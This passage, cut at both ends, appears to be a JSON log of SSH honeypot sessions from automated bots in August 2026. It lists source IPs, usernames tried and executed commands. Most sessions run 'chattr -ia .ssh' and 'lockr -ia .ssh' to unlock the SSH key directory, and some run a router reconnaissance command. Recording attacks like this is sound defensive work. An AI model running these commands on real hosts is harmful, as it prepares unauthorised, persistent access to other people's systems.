"bot", "think_ms": 722, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T18:39:00.639689+00:00", "ended_at": "2026-08-23T18:39:00.867053+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3739 }, { "id": "44791e79-6a9a-48df-b16a-8a9d34c43098", "name": "wandering-blunt-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "102.211.152.138", "src_port": 47036, "username": "adminweb", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T17:10:10.486640+00:00", "ended_at": "2026-08-23T17:10:10.586345+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3592 }, { "id": "4b4a7481-28dd-4636-926d-88ae6ce51d5c", "name": "wandering-forlorn-bobcat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.235.9", "src_port": 50700, "username": "gbase", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 247, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T17:07:09.255602+00:00", "ended_at": "2026-08-23T17:07:10.091833+00:00", "ended_reason": "exec complete", "commands": 26, "transcript_bytes": 3928 }, { "id": "15b8cc85-2e01-49d5-8d23-197de278f1b5", "name": "inland-ashen-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "4.224.40.94", "src_port": 58494, "username": "mailuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 617, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T16:13:55.703155+00:00", "ended_at": "2026-08-23T16:13:55.895998+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3943 }, { "id": "40817a97-176c-48c1-b57c-ffceaa09c3dc", "name": "opal-rambling-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.92.199.36", "src_port": 60606, "username": "caleb", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 377, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T13:50:29.670651+00:00", "ended_at": "2026-08-23T13:50:29.782631+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3455 }, { "id": "bdaf581a-cda9-473b-b316-93f54c67069b", "name": "foggy-cunning-pipit", "protocol": "ssh", "channel_kind": "exec", "src_ip": "41.63.62.103", "src_port": 38488, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 917, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T13:46:37.478805+00:00", "ended_at": "2026-08-23T13:46:37.768414+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3538 }, { "id": "291af6ba-5824-42c1-977c-866685fc9534", "name": "frank-foggy-koala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "201.71.192.108", "src_port": 39330, "username": "developer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 477, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T13:35:55.531860+00:00", "ended_at": "2026-08-23T13:35:55.678004+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3419 }, { "id": "171f38d1-ac7a-400e-8637-f48b63021680", "name": "feral-western-zebu", "protocol": "ssh", "channel_kind": "exec", "src_ip": "5.188.16.97", "src_port": 46568, "username": "samr", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 382, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T13:34:48.717073+00:00", "ended_at": "2026-08-23T13:34:48.827999+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3686 }, { "id": "68a5a21a-6ef2-41b7-9206-d0572ed6baa4", "name": "alpine-plucky-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "84.74.163.210", "src_port": 54812, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.1", "auth_attempts": 2, "automation": "bot", "think_ms": 473, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-23T11:31:00.862069+00:00", "ended_at": "2026-08-23T11:31:47.614046+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 4070 }, { "id": "55f4bf7c-8351-4936-adaf-98ea4854c7bc", "name": "cosmic-dapper-tapir", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.202.9.120", "src_port": 53304, "username": "nobody", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 168, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T09:48:02.182225+00:00", "ended_at": "2026-08-23T09:48:02.225005+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4227 }, { "id": "a8a8dac7-e250-4c2b-8d5a-3dd11cce1446", "name": "salty-whispering-gecko", "protocol": "ssh", "channel_kind": "exec", "src_ip": "192.169.201.223", "src_port": 33562, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 224, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T08:15:44.521354+00:00", "ended_at": "2026-08-23T08:15:44.584189+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4126 }, { "id": "25950a94-a394-42f1-b979-f009f0dc92f4", "name": "spirited-shaded-rook", "protocol": "ssh", "channel_kind": "exec", "src_ip": "43.130.249.176", "src_port": 53634, "username": "tuan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 582, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T08:14:07.773215+00:00", "ended_at": "2026-08-23T08:14:07.952902+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3850 }, { "id": "fbe487c2-e38d-4eca-b4f1-0815e77cb3af", "name": "umber-coral-shelduck", "protocol": "ssh", "channel_kind": "exec", "src_ip": "107.180.88.176", "src_port": 32976, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 235, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T06:17:08.121725+00:00", "ended_at": "2026-08-23T06:17:08.182859+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3588 }, { "id": "70fe1f9e-b460-4fb0-8891-63a61305e666", "name": "wistful-peaty-caribou", "protocol": "ssh", "channel_kind": "exec", "src_ip": "136.232.11.10", "src_port": 43268, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 715, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T06:16:26.327703+00:00", "ended_at": "2026-08-23T06:16:26.559283+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4025 }, { "id": "1bf9d4d1-932e-4c46-97f1-1042d928ad0f", "name": "pewter-prairie-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "136.232.11.10", "src_port": 51318, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 734, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T06:13:42.454122+00:00", "ended_at": "2026-08-23T06:13:43.667628+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2320 }, { "id": "fdb161e3-53ae-4578-8cf7-3a05774ddcbe", "name": "hushed-dappled-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "136.232.11.10", "src_port": 21548, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 719, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T06:08:49.251605+00:00", "ended_at": "2026-08-23T06:08:50.151808+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2678 }, { "id": "4caf1abc-f2c2-4ce8-a16c-614f50cad020", "name": "ashen-vivid-marmot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "136.232.11.10", "src_port": 34972, "username": "goran", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 760, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T06:06:27.365138+00:00", "ended_at": "2026-08-23T06:06:28.195197+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "bde62863-ed5a-4eff-8e47-810f31050852", "name": "emerald-cheerful-otter", "protocol": "ssh", "channel_kind": "exec", "src_ip": "34.175.118.185", "src_port": 60072, "username": "tata", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T05:42:25.785134+00:00", "ended_at": "2026-08-23T05:42:26.045854+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3482 }, { "id": "d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf", "name": "earnest-rambling-ocelot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.102.98.53", "src_port": 49848, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 65, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T04:52:11.093291+00:00", "ended_at": "2026-08-23T04:52:11.099503+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3537 }, { "id": "ef9be64f-5e8e-4a96-9bca-4e987a8034c4", "name": "proud-watchful-stork", "protocol": "ssh", "channel_kind": "exec", "src_ip": "159.223.97.218", "src_port": 34128, "username": "reporting", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 50, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T04:19:17.313792+00:00", "ended_at": "2026-08-23T04:19:17.317810+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3514 }, { "id": "0af38a76-50aa-4aa0-8784-af1dc7506ab5", "name": "indigo-bronzed-grebe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.143.231.24", "src_port": 53226, "username": "smart", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 246, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T02:37:41.144862+00:00", "ended_at": "2026-08-23T02:37:41.211971+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3326 }, { "id": "44209e3f-5412-4815-bc23-09522c1769d6", "name": "oaken-cosmic-bluebird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.182.132.154", "src_port": 54508, "username": "jitendra", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 686, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T01:13:57.416629+00:00", "ended_at": "2026-08-23T01:13:57.629315+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3956 }, { "id": "0844521b-6fe2-405e-8725-531adb115801", "name": "thawing-jagged-condor", "protocol": "ssh", "channel_kind": "exec", "src_ip": "213.91.234.180", "src_port": 54362, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 357, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T01:09:13.082039+00:00", "ended_at": "2026-08-23T01:09:13.187119+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3866 }, { "id": "4a0c9132-6dee-4f72-9d68-d4faa24a1033", "name": "gleaming-placid-osprey", "protocol": "ssh", "channel_kind": "exec", "src_ip": "171.25.158.70", "src_port": 57626, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 373, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T00:58:21.019162+00:00", "ended_at": "2026-08-23T00:58:21.109836+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3397 }, { "id": "77756607-383a-4aae-a644-895b7647bdb4", "name": "solar-dutiful-otter", "protocol": "ssh", "channel_kind": "exec", "src_ip": "75.156.145.235", "src_port": 42330, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.1", "auth_attempts": 2, "automation": "bot", "think_ms": 230, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-23T00:57:14.429180+00:00", "ended_at": "2026-08-23T00:58:53.958519+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 4678 }, { "id": "e4909784-b570-4d6e-b53d-274294e58207", "name": "glassy-subtle-wigeon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "58.209.82.184", "src_port": 45019, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 795, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T00:50:22.167314+00:00", "ended_at": "2026-08-23T00:50:22.411160+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3812 }, { "id": "50d8261c-2b8a-4d6e-b889-bcc7ce510f56", "name": "merry-prickly-dotterel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "35.237.94.18", "src_port": 38132, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 178, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T00:28:27.222996+00:00", "ended_at": "2026-08-23T00:28:27.239147+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3280 }, { "id": "bb8255c1-fa10-47fb-bace-d408951594e4", "name": "ivory-gloomy-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "68.183.236.1", "src_port": 37372, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 772, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T21:59:03.408093+00:00", "ended_at": "2026-08-22T21:59:11.945062+00:00", "ended_reason": "exec complete", "commands": 26, "transcript_bytes": 3638 }, { "id": "95af22e8-455c-494b-9a26-d34aceb89a4c", "name": "painted-electric-chickadee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "161.248.189.72", "src_port": 37538, "username": "wanghao", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 794, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T19:14:31.740961+00:00", "ended_at": "2026-08-22T19:14:31.989686+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3941 }, { "id": "d1ae6f90-0b8c-4bc6-848b-19144edc24ef", "name": "candid-restless-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "43.166.242.149", "src_port": 41778, "username": "suporte", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 894, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T18:50:13.441372+00:00", "ended_at": "2026-08-22T18:50:15.710054+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3480 }, { "id": "f0f09920-b4c1-4d19-92d8-fdac78e39488", "name": "solar-cheerful-muntjac", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.134.154.195", "src_port": 46574, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 791, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T15:42:34.931139+00:00", "ended_at": "2026-08-22T15:42:35.179940+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3563 }, { "id": "7207bd6d-f105-44ce-ad44-2ecdc0e17b8e", "name": "supple-lunar-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "81.192.46.36", "src_port": 58294, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 373, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T14:19:36.840359+00:00", "ended_at": "2026-08-22T14:19:36.951750+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3814 }, { "id": "fd12e7ec-8d7d-4402-b538-0a87cd5d9eeb", "name": "lawful-salty-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "41.204.82.238", "src_port": 39654, "username": "sagar", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 525, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T05:11:42.404059+00:00", "ended_at": "2026-08-22T05:11:42.563531+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3371 }, { "id": "a138c833-813b-4b76-91a9-f7e27e1b99f6", "name": "merry-faded-marmot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "183.91.11.36", "src_port": 40004, "username": "sagar", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 860, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T05:06:04.372296+00:00", "ended_at": "2026-08-22T05:06:04.643002+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3321 }, { "id": "a0b73d99-0f20-4e51-aa7c-a0a50f254683", "name": "early-civil-opossum", "protocol": "ssh", "channel_kind": "exec", "src_ip": "181.164.12.188", "src_port": 47690, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 620, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T01:48:04.820032+00:00", "ended_at": "2026-08-22T01:48:05.007288+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3555 }, { "id": "f567bc26-6240-465f-9ae0-dff2f938b90b", "name": "creaky-painted-plover", "protocol": "ssh", "channel_kind": "exec", "src_ip": "45.114.125.22", "src_port": 59710, "username": "server", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 736, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T01:33:33.265881+00:00", "ended_at": "2026-08-22T01:33:33.493883+00:00", "ended_reason": "exec complete", "commands": 26, "transcript_bytes": 3274 }, { "id": "1717ccb8-2a3e-4918-a53f-737276bbee20", "name": "lunar-indigo-jay", "protocol": "ssh", "channel_kind": "exec", "src_ip": "136.248.121.226", "src_port": 51178, "username": "vpn", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 376, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-22T00:31:10.803275+00:00", "ended_at": "2026-08-22T00:31:10.912877+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3385 }, { "id": "586c8448-b441-41be-a6a4-ce51a64e72cd", "name": "crimson-frank-albatross", "protocol": "ssh", "channel_kind": "exec", "src_ip": "210.79.142.230", "src_port": 56430, "username": "root", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 740, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T22:44:40.988584+00:00", "ended_at": "2026-08-21T22:44:41.220167+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3495 }, { "id": "14592ca2-05d5-49de-bc8c-a65243d8b786", "name": "crisp-thrifty-vole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "117.193.74.35", "src_port": 59762, "username": "moodle", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 755, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T22:41:24.962326+00:00", "ended_at": "2026-08-21T22:41:25.198772+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3571 }, { "id": "53a3648e-931d-4b38-a64e-98873cd47818", "name": "grumpy-twilight-hummingbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "49.207.247.60", "src_port": 8157, "username": "kk", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 642, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T22:15:18.046669+00:00", "ended_at": "2026-08-21T22:15:18.243265+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3926 }, { "id": "0cc7a6c5-0cf1-43ec-a02d-3ea68596a8f3", "name": "austere-regal-opossum", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.152.148.27", "src_port": 51410, "username": "vadim", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T22:13:33.104155+00:00", "ended_at": "2026-08-21T22:13:33.323354+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3492 }, { "id": "cc026bcb-8f37-418f-a853-ad13d79e6f45", "name": "slender-northern-dolphin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.230.18.133", "src_port": 57384, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 306, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T18:12:23.831896+00:00", "ended_at": "2026-08-21T18:12:23.919344+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3758 }, { "id": "085553b7-74c2-4a2d-9c6e-99eaa2ee2e06", "name": "clever-wistful-condor", "protocol": "ssh", "channel_kind": "exec", "src_ip": "143.202.162.212", "src_port": 35234, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 271, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T17:00:24.227469+00:00", "ended_at": "2026-08-21T17:00:24.302398+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3554 }, { "id": "b29bc095-7170-40d7-aaf1-f537ef951734", "name": "frugal-leafy-serval", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.173.200.62", "src_port": 44638, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 71, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T10:41:08.573334+00:00", "ended_at": "2026-08-21T10:41:08.615394+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4079 }, { "id": "dde2d4ff-0ca4-483b-9053-7458166c5e99", "name": "lonesome-hazy-dormouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "45.194.3.128", "src_port": 46786, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 696, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-21T00:21:03.057453+00:00", "ended_at": "2026-08-21T00:21:03.277755+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3479 }, { "id": "0ece996b-99fe-4c34-ac39-27e5de43953c", "name": "dutiful-noble-osprey", "protocol": "ssh", "channel_kind": "exec", "src_ip": "36.134.96.76", "src_port": 25405, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 775, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T22:57:43.606219+00:00", "ended_at": "2026-08-20T23:01:43.864121+00:00", "ended_reason": "exec complete", "commands": 16, "transcript_bytes": 2055 }, { "id": "62c52a1e-8571-4be3-97c0-746619549d3a", "name": "amiable-indigo-boar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "119.119.6.53", "src_port": 43108, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.1", "auth_attempts": 2, "automation": "bot", "think_ms": 2087, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-20T20:45:45.214465+00:00", "ended_at": "2026-08-20T20:46:36.900190+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 3818 }, { "id": "dd3dc568-17c5-4e13-afe3-5fce7789988b", "name": "weathered-shifting-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "183.91.186.36", "src_port": 45114, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 901, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T20:24:34.329664+00:00", "ended_at": "2026-08-20T20:24:34.630091+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3988 }, { "id": "edca2fad-c59c-4e9a-a8fd-fe79fe36bd95", "name": "grassy-peaty-gharial", "protocol": "ssh", "channel_kind": "exec", "src_ip": "181.129.41.162", "src_port": 40408, "username": "parth", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 285, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T19:52:38.357374+00:00", "ended_at": "2026-08-20T19:52:38.429877+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3459 }, { "id": "693e4c0b-9628-4110-af98-de6e70250ebd", "name": "lawful-forlorn-bushbaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "69.6.223.142", "src_port": 49164, "username": "leandro", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 375, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-20T16:54:18.686099+00:00", "ended_at": "2026-08-20T16:54:18.795409+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3916 }, { "id": "fba3d491-a430-4b73-bcf1-4797cdb2a94d", "name": "somber-rustic-barbet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "81.181.129.252", "src_port": 56669, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.0", "auth_attempts": 1, "automation": "bot", "think_ms": 464, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-20T13:53:48.005948+00:00", "ended_at": "2026-08-20T13:55:09.047291+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 4640 }, { "id": "482d2cd2-f153-4f1c-88f3-591cb9406ccf", "name": "burly-icy-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "81.181.129.252", "src_port": 14221, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.0", "auth_attempts": 1, "automation": "bot", "think_ms": 626, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-20T13:28:38.770203+00:00", "ended_at": "2026-08-20T13:29:18.200655+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 4747 }, { "id": "47e20a45-62ce-4fb4-925b-fb4335cc6e8b", "name": "mindful-nameless-wigeon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "81.181.129.252", "src_port": 48905, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.0", "auth_attempts": 2, "automation": "bot", "think_ms": 507, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-20T13:28:07.074512+00:00", "ended_at": "2026-08-20T13:28:49.397326+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 5082 }, { "id": "a09265ce-7df6-487c-b00d-1f24a248165f", "name": "canny-restless-petrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "186.248.197.77", "src_port": 45656, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 412, 